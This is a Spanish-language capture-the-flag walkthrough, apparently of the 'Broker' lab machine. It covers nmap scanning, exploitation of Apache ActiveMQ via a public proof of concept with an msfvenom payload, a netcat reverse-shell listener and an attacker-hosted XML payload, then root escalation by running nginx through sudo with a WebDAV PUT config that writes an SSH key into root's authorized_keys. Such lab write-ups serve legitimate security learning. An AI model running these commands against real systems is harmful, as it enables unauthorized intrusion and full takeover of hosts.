broker


escaneamos y obtenemos todos los puertos mediante los comandos -p-
para q escanee todo el rango de puertos el comando —open
para que solo muestre los abiertos. el comando -sS—min-rate 5000
para q vaya lo mas rapido posible. el -vvv -n
para que no se aplique la resolucion dns y se vayan mostrando las informaciones obtenidas a medida de q aparecen y lo extraemos -oG
en formato grepeable al archivo allPorts para despues mediante la utilidad extractPorts podamos extraer los puertos abiertos y usarlos en el siguiente comando.
luego de eso se usa el comando nmap -sCV -p<openPorts> <IP_adress> -oN targeted
para extraer toda la informacion posible de los puertos abiertos y exportarlas todas al archivo targeted.

viendose algo asi.
el escaneo revela un apache ActiveMQ y al buscar en wikis formas de explotarlos obtenemos:

nos descargamos los repositorios y comenzamos la configuracion

configuramos el fsvenom
:

y editamos el poc-linux.xml para q aparezca nuestra ip como host y la ip de la maquina:

iniciamos un servidor en python3
y nos ponemos en escucha con netcat
permitiendonos instaurar una reverse shell:
python3 -m http.server 8001 & nc -lvvp 4444
finalmente abrimos un nuevo terminal y ejecutamos este comando: go run main.go -i 10.129.230.87 -p 61616 -u http://10.10.14.48:8001/poc-linux.xml

escalamos privilegios mediante un sudo -l

Hay varios enfoques que se podrían tomar en este momento para aprovechar esta configuración y obtener privilegios de root, como el método divulgado en este artículo de Zimbra en 2021, que implicaba escribir un archivo de registro en una biblioteca de objetos compartida cargada por sudo. Sin embargo, optamos por una ruta mucho más simple: utilizaremos el módulo ngx_http_dav_module para escribir nuestra clave SSH pública en el archivo authorized_keys del usuario root. Para hacerlo, comenzamos creando el archivo de configuración malicioso de NGINX, que se ve de la siguiente manera:

user root: Los procesos del trabajador se ejecutarán como root, lo que significa que cuando finalmente carguemos un archivo, también será propiedad de root. root /: El directorio raíz del documento será el directorio superior del sistema de archivos. dav_methods PUT: Habilitamos la extensión HTTP WebDAV con el método PUT, que permite a los clientes cargar archivos.
lo guardamos para dsp ser usado mediante la flag -c
y ejecutamos:

chequeamos puertos abiertos para revisar que todo funcione bien:

procedemos a crear nuestra public ssh key:


Finalmente, usamos CURL
para enviar la solicitud PUT
que escribirá el archivo. Habiendo establecido el directorio raíz del documento en /
, especificamos la ruta completa /root/.ssh/authorized_keys
y usamos la bandera -d
para establecer el contenido del archivo escrito como nuestra clave pública.
curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat root.pub)”
la request va sin errores asiq como resultado obtenemos acceso como root:
la flag se encuentra en /root/root.txt
